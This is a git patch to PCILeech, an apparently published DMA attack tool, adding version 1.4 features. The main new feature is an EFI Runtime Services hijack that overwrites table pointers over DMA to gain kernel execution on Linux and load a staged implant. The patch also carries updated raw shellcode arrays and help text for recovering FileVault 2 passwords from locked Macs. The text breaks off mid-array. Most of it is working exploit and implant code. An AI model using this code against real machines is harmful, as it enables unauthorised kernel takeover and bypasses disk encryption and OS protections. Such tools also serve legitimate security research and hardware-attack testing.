From e68cee666401436b10eb283172a8792abac68e15 Mon Sep 17 00:00:00 2001 From: ufrisk Date: Wed, 11 Jan 2017 10:21:03 +0100 Subject: [PATCH] Version 1.4 --- pcileech/extra.c | 14 +- pcileech/extra.h | 7 + pcileech/help.c | 28 +- pcileech/kmd.c | 135 ++++- pcileech/pcileech.c | 9 +- pcileech/pcileech.h | 5 +- pcileech/shellcode.h | 277 ++++++--- pcileech/util.c | 99 +++- pcileech/util.h | 25 +- pcileech_files/pcileech.exe | Bin 196608 -> 202752 bytes pcileech_kmd/linux/pcileech_kmd.c | 2 +- pcileech_shellcode/lx64_stage2.asm | 2 +- pcileech_shellcode/lx64_stage2_efi.asm | 533 ++++++++++++++++++ pcileech_shellcode/lx64_stage3_c.c | 61 +- pcileech_shellcode/pcileech_shellcode.vcxproj | 1 + .../pcileech_shellcode.vcxproj.filters | 3 + readme.md | 4 + 17 files changed, 1111 insertions(+), 94 deletions(-) create mode 100644 pcileech_shellcode/lx64_stage2_efi.asm diff --git a/pcileech/extra.c b/pcileech/extra.c index d9e337c..96a3bf9 100644 --- a/pcileech/extra.c +++ b/pcileech/extra.c @@ -1,6 +1,6 @@ // extra.c : implementation related various extra functionality such as exploits. // -// (c) Ulf Frisk, 2016 +// (c) Ulf Frisk, 2016, 2017 // Author: Ulf Frisk, pcileech@frizk.net // #include "extra.h" @@ -128,3 +128,15 @@ VOID Action_MacFilevaultRecover(_In_ PCONFIG pCfg, _In_ PDEVICE_DATA pDeviceData LocalFree(pbBuffer512M); if(hFile) { CloseHandle(hFile); } } + +VOID Action_PT_Phys2Virt(_In_ PCONFIG pCfg, _In_ PDEVICE_DATA pDeviceData) +{ + BOOL result; + QWORD qwVA, qwPTE; + result = Util_PageTable_FindMappedAddress(pCfg, pDeviceData, pCfg->qwCR3, pCfg->qwDataIn[0], &qwVA, &qwPTE); + if(result) { + printf("PT_PHYS2VIRT: PA: 0x%016llx :: VA: 0x%016llx :: PTE: 0x%016llx.\n", pCfg->qwDataIn[0], qwVA, qwPTE); + } else { + printf("PT_PHYS2VIRT: Failed.\n"); + } +} \ No newline at end of file diff --git a/pcileech/extra.h b/pcileech/extra.h index d844658..46cb9aa 100644 --- a/pcileech/extra.h +++ b/pcileech/extra.h @@ -15,4 +15,11 @@ */ VOID Action_MacFilevaultRecover(_In_ PCONFIG pCfg, _In_ PDEVICE_DATA pDeviceData); +/* +* Search for the virtual address that maps to a physical address given a page table base. +* -- pCfg +* -- pDeviceData +*/ +VOID Action_PT_Phys2Virt(_In_ PCONFIG pCfg, _In_ PDEVICE_DATA pDeviceData); + #endif /* __EXTRA_H__ */ diff --git a/pcileech/help.c b/pcileech/help.c index 5dceb1b..c188a2e 100644 --- a/pcileech/help.c +++ b/pcileech/help.c @@ -1,6 +1,6 @@ // help.c : implementation related to displaying help texts. // -// (c) Ulf Frisk, 2016 +// (c) Ulf Frisk, 2016, 2017 // Author: Ulf Frisk, pcileech@frizk.net // #include "help.h" @@ -48,6 +48,7 @@ VOID Help_ShowGeneral() " 8051stop DMA,KMD \n" \ " flash DMA,KMD [ in ] \n" \ " pagedisplay DMA,KMD [ min ] \n" \ + " pt_phys2virt DMA,KMD [ cr3, 0 ] \n" \ " testmemread DMA [ min ] \n" \ " testmemreadwrite DMA [ min ] \n" \ " System specific commands and valid MODEs [ and options ]: \n" \ @@ -102,8 +103,9 @@ VOID Help_ShowGeneral() " -kmd : address of already loaded kernel module helper (KMD). \n" \ " ALTERNATIVELY \n" \ " kernel module to use, see list below for choices: \n" \ - " WIN10_X64 (WARNING! Unstable/Experimental) \n" \ - " LINUX_X64 \n" \ + " WIN10_X64 (WARNING! Unstable/Experimental) \n" \ + " LINUX_X64 (NB! Kernels below 4.8 only) \n" \ + " LINUX_X64_EFI (NB! EFI/UEFI booted systems only) \n" \ " FREEBSD_X64 \n" \ " MACOS \n" \ ); @@ -122,7 +124,7 @@ VOID Help_ShowInfo() printf( " PCILEECH INFORMATION \n" \ " PCILeech (c) 2016 Ulf Frisk \n" \ - " Version: 1.3 \n" \ + " Version: 1.4 \n" \ " License: GNU GENERAL PUBLIC LICENSE - Version 3, 29 June 2007 \n" \ " Contact information: pcileech@frizk.net \n" \ " System requirements: 64-bit Windows 7, 10 or later. \n" \ @@ -338,7 +340,7 @@ VOID Help_ShowDetailed(_In_ PCONFIG pCfg) break; case MAC_FVRECOVER: printf( - " RECOVER FILEVAULT 2 PASSWORD FROM A LOCKED macOS SYSTEM. (CVE-2016-XXXXX) \n" \ + " RECOVER FILEVAULT 2 PASSWORD FROM A LOCKED macOS SYSTEM. \n" \ " MODES : DMA \n" \ " OPTIONS : \n" \ " Plug in the PCILeech device to any macOS system with a Thunderbolt 2 port. You\n" \ @@ -354,6 +356,20 @@ VOID Help_ShowDetailed(_In_ PCONFIG pCfg) " 1) recover the filevault 2 disk encryption password. \n" \ " pcileech.exe mac_fvrecover \n"); break; + case PT_PHYS2VIRT: + printf( + " SEARCH FOR VIRTUAL ADDRESS MAPPED TO GIVEN PHYSICAL ADDRESS. \n" \ + " MODES : DMA, KMD \n" \ + " OPTIONS : -cr3, -0 \n" \ + " Walk the page table of which base is specified on the 'cr3' option to find the\n" \ + " first occurrence of a virtual address mapped to the physical address specified\n" \ + " in the '0' option. If an entry is found the virtual address and the PTE will \n" \ + " be displayed. Only the first occurrence will be displayed. \n" \ + " EXAMPLEs: \n" \ + " 1) search for virtual address mapped to physical 0xfed90000 given a page table\n" \ + " (PML4) base at: 0x1aa000. \n" \ + " pcileech.exe pt_phys2virt -cr3 0x1aa000 -0 0xfed90000 \n"); + break; case EXEC: _HelpShowExecCommand(pCfg); break; @@ -362,4 +378,4 @@ VOID Help_ShowDetailed(_In_ PCONFIG pCfg) " Detailed help for this command or implant is not available. \n"); break; } -} \ No newline at end of file +} diff --git a/pcileech/kmd.c b/pcileech/kmd.c index e6b5489..22b1c2a 100644 --- a/pcileech/kmd.c +++ b/pcileech/kmd.c @@ -1,6 +1,6 @@ // kmd.c : implementation related to operating systems kernel modules functionality. // -// (c) Ulf Frisk, 2016 +// (c) Ulf Frisk, 2016, 2017 // Author: Ulf Frisk, pcileech@frizk.net // #include "kmd.h" @@ -115,6 +115,49 @@ HRESULT KMD_FindSignature1(_In_ PCONFIG pCfg, _In_ PDEVICE_DATA pDeviceData, _In return E_FAIL; } +// EFI RUNTIME SERVICES TABLE SIGNATURE (see UEFI specification (2.6) for detailed information). +#define IS_SIGNATURE_EFI_RUNTIME_SERVICES(pb) ((*(PQWORD)(pb) == 0x56524553544e5552) && (*(PDWORD)(pb + 12) == 0x88) && (*(PDWORD)(pb + 20) == 0)) + +BOOL KMD_FindSignature_EfiRuntimeServices(_In_ PCONFIG pCfg, _In_ PDEVICE_DATA pDeviceData, _Out_ PQWORD pqwAddrPhys) +{ + BOOL result = FALSE; + QWORD o, qwCurrentAddress; + PAGE_STATISTICS pageStat; + PBYTE pbBuffer16M; + if(!(pbBuffer16M = LocalAlloc(0, 0x01000000))) { + return FALSE; + } + pCfg->qwAddrMin &= ~0xfff; + pCfg->qwAddrMax = (pCfg->qwAddrMax + 1) & ~0xfff; + if(pCfg->qwAddrMax == 0) { + pCfg->qwAddrMax = 0x100000000; + } + qwCurrentAddress = pCfg->qwAddrMin; + PageStatInitialize(&pageStat, pCfg->qwAddrMin, pCfg->qwAddrMax, "Searching for EFI Runtime Services", pDeviceData->KMDHandle ? TRUE : FALSE, pCfg->fVerbose); + while(qwCurrentAddress < pCfg->qwAddrMax) { + result = Util_Read16M(pCfg, pDeviceData, pbBuffer16M, qwCurrentAddress, &pageStat); + if(!result && !pCfg->fForceRW && !pDeviceData->KMDHandle) { + goto cleanup; + } + for(o = 0x18; o < 0x01000000 - 0x88; o += 8) { + // EFI RUNTIME SERVICES TABLE SIGNATURE (see UEFI specification (2.6) for detailed information). + // 0x30646870 == phd0 EFI memory artifact required to rule out additional false positives. + if((*(PDWORD)(pbBuffer16M + o - 0x18) == 0x30646870) && IS_SIGNATURE_EFI_RUNTIME_SERVICES(pbBuffer16M + o)) { + pageStat.szAction = "Waiting for EFI Runtime Services"; + *pqwAddrPhys = qwCurrentAddress + o; + result = TRUE; + goto cleanup; + } + } + // add to address + qwCurrentAddress += 0x01000000; + } +cleanup: + LocalFree(pbBuffer16M); + PageStatClose(&pageStat); + return result; +} + //------------------------------------------------------------------------------- // macOS generic kernel seek below. //------------------------------------------------------------------------------- @@ -232,7 +275,7 @@ error: } //------------------------------------------------------------------------------- -// LINUX generic kernel seek below. +// LINUX generic kernel seek below. (pre 4.8 kernel versions). //------------------------------------------------------------------------------- BOOL KMD_LinuxIsAllAddrFoundSeek(_In_ PKERNELSEEKER pS, _In_ DWORD cS) @@ -325,7 +368,7 @@ BOOL KMD_LinuxKernelSeekSignature(_In_ PCONFIG pCfg, _In_ PDEVICE_DATA pDeviceDa KMD_LinuxFindFunctionAddr(pb, CONFIG_LINUX_SEEK_BUFFER_SIZE, ks, 2) && KMD_LinuxFindFunctionAddrTBL(pb, CONFIG_LINUX_SEEK_BUFFER_SIZE, ks, 2); if(result) { - Util_CreateSignatureLinuxGeneric(dwKernelBase, ks[0].aSeek, ks[0].vaSeek, ks[0].vaFn, ks[1].vaFn, pSignature); + Util_CreateSignatureLinuxGenericPre48(dwKernelBase, ks[0].aSeek, ks[0].vaSeek, ks[0].vaFn, ks[1].vaFn, pSignature); break; } } @@ -333,6 +376,90 @@ BOOL KMD_LinuxKernelSeekSignature(_In_ PCONFIG pCfg, _In_ PDEVICE_DATA pDeviceDa return result; } +//------------------------------------------------------------------------------- +// LINUX EFI Runtime Services hijack. +//------------------------------------------------------------------------------- + +BOOL KMDOpen_LinuxEfiRuntimeServicesHijack(_In_ PCONFIG pCfg, _In_ PDEVICE_DATA pDeviceData) +{ + BOOL result; + QWORD i, o, qwAddrEfiRt; + DWORD dwPhysAddrS2, dwPhysAddrS3, *pdwPhysicalAddress; + BYTE pb[0x1000], pbOrig[0x1000], pbEfiRt[0x1000]; + SIGNATURE oSignature; + //------------------------------------------------ + // 1: Locate and fetch EFI Runtime Services table. + //------------------------------------------------ + result = KMD_FindSignature_EfiRuntimeServices(pCfg, pDeviceData, &qwAddrEfiRt); + if(!result) { + printf("KMD: Failed. EFI Runtime Services not found.\n"); + } + if((qwAddrEfiRt & 0xfff) + 0x88 > 0x1000) { + printf("KMD: Failed. EFI Runtime Services table located on page boundary.\n"); + return FALSE; + } + result = DeviceReadDMA(pDeviceData, qwAddrEfiRt & ~0xfff, pbEfiRt, 0x1000, PCILEECH_MEM_FLAG_RETRYONFAIL); + if(!result || !IS_SIGNATURE_EFI_RUNTIME_SERVICES(pbEfiRt + (qwAddrEfiRt & 0xfff))) { + printf("KMD: Failed. Error reading EFI Runtime Services table.\n"); + return FALSE; + } + //------------------------------------------------ + // 2: Fetch signature and original data. + //------------------------------------------------ + Util_CreateSignatureLinuxEfiRuntimeServices(&oSignature); + *(PQWORD)(oSignature.chunk[3].pb + 0x28) = qwAddrEfiRt; // 0x28 == offset data_addr_runtserv. + memcpy(oSignature.chunk[3].pb + 0x30, pbEfiRt + (qwAddrEfiRt & 0xfff) + 0x18, 0x70); // 0x30 == offset data_runtserv_table_fn. + result = DeviceReadDMA(pDeviceData, 0, pbOrig, 0x1000, PCILEECH_MEM_FLAG_RETRYONFAIL); + if(!result) { + printf("KMD: Failed. Error reading at address 0x0.\n"); + return FALSE; + } + //------------------------------------------------ + // 3: Patch wait to reveive execution of EFI code. + //------------------------------------------------ + DeviceWriteDMA(pDeviceData, 0, oSignature.chunk[3].pb, 0x1000, PCILEECH_MEM_FLAG_RETRYONFAIL); + for(i = 0; i < 14; i++) { + o = (qwAddrEfiRt & 0xfff) + 0x18 + 8 * i; // 14 tbl entries of 64-bit/8-byte size. + *(PQWORD)(pbEfiRt + o) = 0x100 + 2 * i; // each PUSH in receiving slide is 2 bytes, offset to code = 0x100. + } + DeviceWriteDMA(pDeviceData, qwAddrEfiRt, pbEfiRt + (qwAddrEfiRt & 0xfff), 0x88 /* 0x18 hdr, 0x70 fntbl */, PCILEECH_MEM_FLAG_RETRYONFAIL); + memset(pb, 0, 0x1000); + pdwPhysicalAddress = (PDWORD)(pb + 0x20); // 0x20 == offset data_phys_addr_alloc. + printf( + "KMD: EFI Runtime Services table hijacked - Waiting to receive execution.\n" + " To trigger EFI execution take action. Example: 'switch user' in the\n" + " Ubuntu graphical lock screen may trigger EFI Runtime Services call.\n"); + do { + Sleep(100); + if(!DeviceReadDMA(pDeviceData, 0, pb, 0x1000, PCILEECH_MEM_FLAG_RETRYONFAIL)) { + Util_WaitForPowerCycle(pCfg, pDeviceData); + printf("KMD: Resume waiting to receive execution.\n"); + } + } while(!*pdwPhysicalAddress); + dwPhysAddrS2 = *pdwPhysicalAddress; + printf("KMD: Execution received - waiting for kernel hook to activate ...\n"); + //------------------------------------------------ + // 4: Restore EFI Runtime Services shellcode and move on to 2nd buffer. + //------------------------------------------------ + DeviceWriteDMA(pDeviceData, 0, pbOrig, 0x1000, 0); + memset(pb, 0, 0x1000); + printf("KMD: Waiting to receive execution.\n"); + do { + Sleep(100); + if(!DeviceReadDMA(pDeviceData, dwPhysAddrS2, pb, 0x1000, PCILEECH_MEM_FLAG_RETRYONFAIL)) { + printf("KMD: Failed. DMA Read failed while waiting to receive physical address.\n"); + return FALSE; + } + } while(!*pdwPhysicalAddress); + dwPhysAddrS3 = *pdwPhysicalAddress; + //------------------------------------------------ + // 5: Clear 2nd buffer and set up stage #3. + //------------------------------------------------ + memset(pb, 0, 0x1000); + DeviceWriteDMA(pDeviceData, dwPhysAddrS2, pb, 0x1000, 0); + return KMD_SetupStage3(pCfg, pDeviceData, dwPhysAddrS3, oSignature.chunk[4].pb, 4096); +} + //------------------------------------------------------------------------------- // Windows 8/10 generic kernel implant below. //------------------------------------------------------------------------------- @@ -890,6 +1017,8 @@ BOOL KMDOpen(_In_ PCONFIG pCfg, _In_ PDEVICE_DATA pDeviceData) return KMDOpen_PageTableHijack(pCfg, pDeviceData); } else if(0 == _stricmp(pCfg->szKMDName, "WIN10_X64")) { return KMDOpen_HalHeapHijack(pCfg, pDeviceData); + } else if(0 == _stricmp(pCfg->szKMDName, "LINUX_X64_EFI")) { + return KMDOpen_LinuxEfiRuntimeServicesHijack(pCfg, pDeviceData); } else { return KMDOpen_MemoryScan(pCfg, pDeviceData); } diff --git a/pcileech/pcileech.c b/pcileech/pcileech.c index 7226f46..221b5d1 100644 --- a/pcileech/pcileech.c +++ b/pcileech/pcileech.c @@ -1,6 +1,6 @@ // pcileech.c : implementation of core pcileech functionality. // -// (c) Ulf Frisk, 2016 +// (c) Ulf Frisk, 2016, 2017 // Author: Ulf Frisk, pcileech@frizk.net // #include "pcileech.h" @@ -35,6 +35,7 @@ HRESULT ParseCmdLine(_In_ DWORD argc, _In_ char* argv[], _Out_ PCONFIG pCfg) {.tp = TESTMEMREAD,.sz = "testmemread" }, {.tp = TESTMEMREADWRITE,.sz = "testmemreadwrite" }, {.tp = MAC_FVRECOVER,.sz = "mac_fvrecover" }, + {.tp = PT_PHYS2VIRT,.sz = "pt_phys2virt" }, }; QWORD qw; DWORD j, i = 1; @@ -133,8 +134,8 @@ HRESULT ParseCmdLine(_In_ DWORD argc, _In_ char* argv[], _Out_ PCONFIG pCfg) pCfg->qwAddrMin = pCfg->qwAddrMax; pCfg->qwAddrMax = qw; } - pCfg->qwCR3 &= 0xfffff000; - pCfg->qwKMD &= 0xfffff000; + pCfg->qwCR3 &= ~0xfff; + pCfg->qwKMD &= ~0xfff; return S_OK; } @@ -202,6 +203,8 @@ int main(_In_ int argc, _In_ char* argv[]) ActionMemoryTestReadWrite(pCfg, &device); } else if(pCfg->tpAction == MAC_FVRECOVER) { Action_MacFilevaultRecover(pCfg, &device); + } else if(pCfg->tpAction == PT_PHYS2VIRT) { + Action_PT_Phys2Virt(pCfg, &device); } else if(pCfg->tpAction == KMDLOAD) { if(pCfg->qwKMD) { printf("KMD: Successfully loaded at address: 0x%08x\n", (DWORD)pCfg->qwKMD); diff --git a/pcileech/pcileech.h b/pcileech/pcileech.h index 667da92..3b9b1ec 100644 --- a/pcileech/pcileech.h +++ b/pcileech/pcileech.h @@ -1,6 +1,6 @@ // pcileech.h : definitions for pcileech - dump memory and unlock computers with a USB3380 device using DMA. // -// (c) Ulf Frisk, 2016 +// (c) Ulf Frisk, 2016, 2017 // Author: Ulf Frisk, pcileech@frizk.net // #ifndef __PCILEECH_H__ @@ -76,7 +76,8 @@ typedef enum tdActionType { KMDLOAD, KMDEXIT, EXEC, - MAC_FVRECOVER + MAC_FVRECOVER, + PT_PHYS2VIRT } ACTION_TYPE, PACTION_TYPE; #define CONFIG_MAX_INSIZE 0x400000 // 4MB diff --git a/pcileech/shellcode.h b/pcileech/shellcode.h index 144c427..e584640 100644 --- a/pcileech/shellcode.h +++ b/pcileech/shellcode.h @@ -1,6 +1,6 @@ // shellcode.h : default shellcode used by pcileech in default scenarios. // -// (c) Ulf Frisk, 2016 +// (c) Ulf Frisk, 2016, 2017 // Author: Ulf Frisk, pcileech@frizk.net // #ifndef __SHELLCODE_H__ @@ -212,7 +212,7 @@ const BYTE LINUX_X64_STAGE2_BIN[] = { 0x5e, 0x41, 0x5d, 0x41, 0x5c, 0x58, 0x0f, 0x22, 0xc0, 0x41, 0x59, 0x41, 0x58, 0x59, 0x5a, 0x5e, 0x5f, 0xc3, 0x48, 0x8d, 0x3d, 0x9b, 0x01, 0x00, 0x00, 0x41, 0xff, 0xd6, 0x48, 0x85, 0xc0, 0x0f, 0x84, 0xdc, 0x00, 0x00, - 0x00, 0x48, 0xc7, 0xc7, 0x14, 0x00, 0x00, 0x00, 0x48, 0xc7, 0xc6, 0x01, + 0x00, 0x48, 0xc7, 0xc7, 0x14, 0x00, 0x00, 0x00, 0x48, 0xc7, 0xc6, 0x02, 0x00, 0x00, 0x00, 0xff, 0xd0, 0x48, 0x85, 0xc0, 0x0f, 0x84, 0xc3, 0x00, 0x00, 0x00, 0x48, 0x8b, 0xf8, 0xe8, 0xfc, 0x00, 0x00, 0x00, 0x4c, 0x8b, 0xe8, 0x49, 0x8b, 0xfd, 0xe8, 0xe6, 0x00, 0x00, 0x00, 0x4c, 0x8b, 0xe0, @@ -261,7 +261,7 @@ const BYTE LINUX_X64_STAGE3_BIN[] = { 0xd0, 0x48, 0x8d, 0x05, 0xcc, 0xff, 0xff, 0xff, 0x48, 0x8b, 0x00, 0x48, 0x83, 0xf8, 0x00, 0x74, 0xd4, 0x48, 0x8d, 0x0d, 0xc4, 0xef, 0xff, 0xff, 0x41, 0x57, 0x4c, 0x8b, 0xfc, 0x48, 0x83, 0xe4, 0xf0, 0x48, 0x83, 0xec, - 0x20, 0xe8, 0xfe, 0x01, 0x00, 0x00, 0x49, 0x8b, 0xe7, 0x41, 0x5f, 0xc3, + 0x20, 0xe8, 0x36, 0x03, 0x00, 0x00, 0x49, 0x8b, 0xe7, 0x41, 0x5f, 0xc3, 0x41, 0x57, 0x41, 0x56, 0x41, 0x55, 0x4c, 0x8b, 0xf9, 0x4c, 0x8b, 0xf2, 0x49, 0xc7, 0xc5, 0x50, 0x00, 0x00, 0x00, 0x48, 0x8d, 0x05, 0x94, 0xff, 0xff, 0xff, 0x50, 0x48, 0x8d, 0x05, 0x6f, 0x00, 0x00, 0x00, 0x50, 0x48, @@ -304,71 +304,220 @@ const BYTE LINUX_X64_STAGE3_BIN[] = { 0x4c, 0x8b, 0x4a, 0x48, 0x48, 0x03, 0xf7, 0x4d, 0x03, 0xc8, 0x4c, 0x3b, 0xc7, 0x7c, 0x09, 0x4c, 0x3b, 0xce, 0x7f, 0x04, 0x48, 0x33, 0xc0, 0xc3, 0x48, 0x33, 0xc0, 0x48, 0xff, 0xc0, 0xc3, 0x0f, 0x09, 0xc3, 0xcc, 0xcc, + 0x48, 0x89, 0x5c, 0x24, 0x08, 0x48, 0x89, 0x74, 0x24, 0x10, 0x57, 0x48, + 0x83, 0xec, 0x50, 0x8b, 0xf2, 0x48, 0x8b, 0xd9, 0x33, 0xff, 0x48, 0x8b, + 0x8b, 0x08, 0x03, 0x00, 0x00, 0xba, 0x14, 0x00, 0x00, 0x00, 0x44, 0x8d, + 0x42, 0xf6, 0xe8, 0xfb, 0xfe, 0xff, 0xff, 0x48, 0x89, 0x44, 0x3c, 0x30, + 0x48, 0x85, 0xc0, 0x74, 0x08, 0x48, 0x8b, 0xc8, 0xe8, 0x54, 0xff, 0xff, + 0xff, 0x48, 0x89, 0x44, 0x3c, 0x20, 0x48, 0x83, 0xc7, 0x08, 0x48, 0x83, + 0xff, 0x10, 0x72, 0xca, 0x48, 0x8b, 0x4c, 0x24, 0x28, 0x48, 0x8b, 0x7c, + 0x24, 0x20, 0x48, 0x8d, 0x81, 0x00, 0x00, 0x20, 0x00, 0x48, 0x3b, 0xf8, + 0x75, 0x16, 0x48, 0x8b, 0x44, 0x24, 0x38, 0x48, 0xc7, 0x43, 0x18, 0x00, + 0x00, 0x40, 0x00, 0x48, 0x89, 0x4b, 0x20, 0xe9, 0xae, 0x00, 0x00, 0x00, + 0x48, 0x85, 0xff, 0x75, 0x0c, 0x48, 0x85, 0xc9, 0x75, 0x07, 0x33, 0xc0, + 0xe9, 0x9d, 0x00, 0x00, 0x00, 0x85, 0xf6, 0x75, 0x29, 0x33, 0xff, 0x48, + 0x8b, 0x54, 0xfc, 0x30, 0x48, 0x85, 0xd2, 0x74, 0x12, 0x48, 0x8b, 0x8b, + 0x18, 0x03, 0x00, 0x00, 0x41, 0xb8, 0x0a, 0x00, 0x00, 0x00, 0xe8, 0x7b, + 0xfe, 0xff, 0xff, 0x48, 0xff, 0xc7, 0x48, 0x83, 0xff, 0x02, 0x72, 0xdb, + 0xeb, 0xcc, 0x33, 0xd2, 0x48, 0x8b, 0xcb, 0xe8, 0x40, 0xff, 0xff, 0xff, + 0x48, 0x89, 0x44, 0x24, 0x40, 0x48, 0x8b, 0xf0, 0x48, 0x85, 0xc0, 0x74, + 0x2c, 0x33, 0xff, 0x48, 0x8b, 0x54, 0xfc, 0x30, 0x48, 0x85, 0xd2, 0x74, + 0x12, 0x48, 0x8b, 0x8b, 0x18, 0x03, 0x00, 0x00, 0x41, 0xb8, 0x0a, 0x00, + 0x00, 0x00, 0xe8, 0x3b, 0xfe, 0xff, 0xff, 0x48, 0xff, 0xc7, 0x48, 0x83, + 0xff, 0x02, 0x72, 0xdb, 0x48, 0x8b, 0xc6, 0xeb, 0x2d, 0x48, 0x8b, 0x54, + 0x24, 0x38, 0x48, 0x85, 0xd2, 0x74, 0x12, 0x48, 0x8b, 0x8b, 0x18, 0x03, + 0x00, 0x00, 0x41, 0xb8, 0x0a, 0x00, 0x00, 0x00, 0xe8, 0x11, 0xfe, 0xff, + 0xff, 0x48, 0x8b, 0x44, 0x24, 0x30, 0x48, 0xc7, 0x43, 0x18, 0x00, 0x00, + 0x20, 0x00, 0x48, 0x89, 0x7b, 0x20, 0x48, 0x8b, 0x5c, 0x24, 0x60, 0x48, + 0x8b, 0x74, 0x24, 0x68, 0x48, 0x83, 0xc4, 0x50, 0x5f, 0xc3, 0xcc, 0xcc, 0x48, 0x89, 0x5c, 0x24, 0x08, 0x48, 0x89, 0x6c, 0x24, 0x10, 0x48, 0x89, 0x74, 0x24, 0x18, 0x57, 0x41, 0x54, 0x41, 0x56, 0x48, 0x83, 0xec, 0x50, 0x4c, 0x8d, 0xb1, 0x00, 0x03, 0x00, 0x00, 0x48, 0xc7, 0x41, 0x50, 0x02, 0x00, 0x00, 0x00, 0x48, 0xb8, 0x77, 0x33, 0x33, 0x11, 0x77, 0x33, 0x11, 0xff, 0x48, 0x8b, 0xd9, 0x48, 0x89, 0x01, 0x49, 0x8b, 0xd6, 0x48, 0x8b, - 0x49, 0x10, 0xe8, 0xc5, 0xfd, 0xff, 0xff, 0x48, 0x85, 0xc0, 0x75, 0x0e, - 0xb8, 0x01, 0x00, 0x00, 0xf0, 0x48, 0x89, 0x43, 0x30, 0xe9, 0x99, 0x02, - 0x00, 0x00, 0x48, 0x8b, 0x8b, 0x08, 0x03, 0x00, 0x00, 0xba, 0x14, 0x00, - 0x00, 0x00, 0x44, 0x8d, 0x42, 0xf6, 0xe8, 0xbb, 0xfe, 0xff, 0xff, 0x48, - 0x8b, 0xe8, 0x48, 0x85, 0xc0, 0x75, 0x07, 0xb8, 0x02, 0x00, 0x00, 0xf0, - 0xeb, 0xd3, 0x48, 0x8b, 0xcd, 0xe8, 0x0f, 0xff, 0xff, 0xff, 0x48, 0x8b, - 0x4b, 0x10, 0x48, 0x8b, 0xd0, 0x48, 0x89, 0x43, 0x20, 0xe8, 0xe8, 0xfe, - 0xff, 0xff, 0x48, 0x8b, 0x8b, 0x10, 0x03, 0x00, 0x00, 0x41, 0xb8, 0x00, - 0x04, 0x00, 0x00, 0x48, 0x8b, 0xd0, 0x48, 0x89, 0x43, 0x28, 0x48, 0xc7, - 0x43, 0x18, 0x00, 0x00, 0x40, 0x00, 0xe8, 0x73, 0xfe, 0xff, 0xff, 0x48, - 0x8b, 0x8b, 0x30, 0x03, 0x00, 0x00, 0x48, 0x8d, 0x54, 0x24, 0x30, 0xe8, - 0x62, 0xfe, 0xff, 0xff, 0x41, 0xbc, 0x01, 0x00, 0x00, 0x00, 0x48, 0x8b, - 0x8b, 0x28, 0x03, 0x00, 0x00, 0x4c, 0x89, 0x63, 0x30, 0xe8, 0x4c, 0xfe, - 0xff, 0xff, 0x48, 0x8b, 0x83, 0xf8, 0x0f, 0x00, 0x00, 0x48, 0x85, 0xc0, - 0x75, 0x30, 0x48, 0x8b, 0x8b, 0x30, 0x03, 0x00, 0x00, 0x48, 0x8d, 0x54, - 0x24, 0x40, 0xe8, 0x2f, 0xfe, 0xff, 0xff, 0x48, 0x8b, 0x44, 0x24, 0x30, - 0x48, 0x83, 0xc0, 0x05, 0x48, 0x39, 0x44, 0x24, 0x40, 0x76, 0xc3, 0x49, - 0x8b, 0x0e, 0xba, 0x64, 0x00, 0x00, 0x00, 0xe8, 0x12, 0xfe, 0xff, 0xff, - 0xeb, 0xb4, 0x48, 0xc7, 0x43, 0x30, 0x02, 0x00, 0x00, 0x00, 0x48, 0x83, - 0xf8, 0x03, 0x0f, 0x84, 0x8f, 0x01, 0x00, 0x00, 0x48, 0x83, 0xf8, 0x04, - 0x75, 0x43, 0x48, 0x8b, 0x8b, 0x38, 0x03, 0x00, 0x00, 0x48, 0x85, 0xc9, - 0x74, 0x2d, 0x48, 0x83, 0x63, 0x48, 0x00, 0x48, 0x8d, 0x05, 0x64, 0xfe, - 0xff, 0xff, 0x4c, 0x8b, 0xcb, 0x48, 0x89, 0x44, 0x24, 0x20, 0x41, 0x83, - 0xc8, 0xff, 0x33, 0xd2, 0xe8, 0xcd, 0xfd, 0xff, 0xff, 0x33, 0xc9, 0x48, - 0x85, 0xc0, 0x0f, 0x94, 0xc1, 0x48, 0x89, 0x4b, 0x38, 0xeb, 0x05, 0x48, - 0x83, 0x63, 0x38, 0x00, 0xe8, 0x8a, 0xfe, 0xff, 0xff, 0x48, 0x83, 0xbb, - 0xf8, 0x0f, 0x00, 0x00, 0x05, 0x75, 0x18, 0x4c, 0x8d, 0x83, 0x20, 0x02, - 0x00, 0x00, 0x48, 0x8b, 0xcb, 0x48, 0x8d, 0x93, 0x20, 0x01, 0x00, 0x00, - 0xff, 0x53, 0x28, 0x4c, 0x89, 0x63, 0x38, 0x48, 0x8b, 0x83, 0xf8, 0x0f, - 0x00, 0x00, 0x49, 0x2b, 0xc4, 0x49, 0x3b, 0xc4, 0x0f, 0x87, 0xa7, 0x00, - 0x00, 0x00, 0x4c, 0x8b, 0x43, 0x48, 0x48, 0x8d, 0x05, 0x1f, 0xfe, 0xff, - 0xff, 0x48, 0x8b, 0x53, 0x40, 0x4c, 0x8b, 0xcb, 0x48, 0x8b, 0x8b, 0x38, - 0x03, 0x00, 0x00, 0x49, 0xc1, 0xe8, 0x0c, 0x48, 0xc1, 0xea, 0x0c, 0x48, - 0x89, 0x44, 0x24, 0x20, 0xe8, 0x55, 0xfd, 0xff, 0xff, 0x48, 0x8b, 0xf0, - 0x49, 0x3b, 0xc4, 0x74, 0x6f, 0x48, 0x8b, 0x53, 0x40, 0x48, 0x85, 0xc0, - 0x75, 0x0b, 0x48, 0x8b, 0x4b, 0x10, 0xe8, 0x8f, 0xfd, 0xff, 0xff, 0xeb, - 0x10, 0x4c, 0x8b, 0x43, 0x48, 0x48, 0x8b, 0x8b, 0x48, 0x03, 0x00, 0x00, - 0xe8, 0x29, 0xfd, 0xff, 0xff, 0x48, 0x8b, 0xf8, 0x48, 0x85, 0xc0, 0x74, - 0x43, 0x4c, 0x8b, 0x4b, 0x48, 0x48, 0x8b, 0x8b, 0x20, 0x03, 0x00, 0x00, - 0x4c, 0x39, 0xa3, 0xf8, 0x0f, 0x00, 0x00, 0x75, 0x09, 0x48, 0x8b, 0x53, - 0x28, 0x4c, 0x8b, 0xc0, 0xeb, 0x07, 0x4c, 0x8b, 0x43, 0x28, 0x48, 0x8b, - 0xd7, 0xe8, 0xf8, 0xfc, 0xff, 0xff, 0x48, 0x85, 0xf6, 0x74, 0x0f, 0x48, - 0x8b, 0x8b, 0x40, 0x03, 0x00, 0x00, 0x48, 0x8b, 0xd7, 0xe8, 0xe4, 0xfc, - 0xff, 0xff, 0x4c, 0x89, 0x63, 0x38, 0xeb, 0x05, 0x48, 0x83, 0x63, 0x38, - 0x00, 0x48, 0x83, 0xbb, 0xf8, 0x0f, 0x00, 0x00, 0x06, 0x75, 0x1c, 0x4c, - 0x8b, 0x4b, 0x48, 0x4c, 0x8b, 0x43, 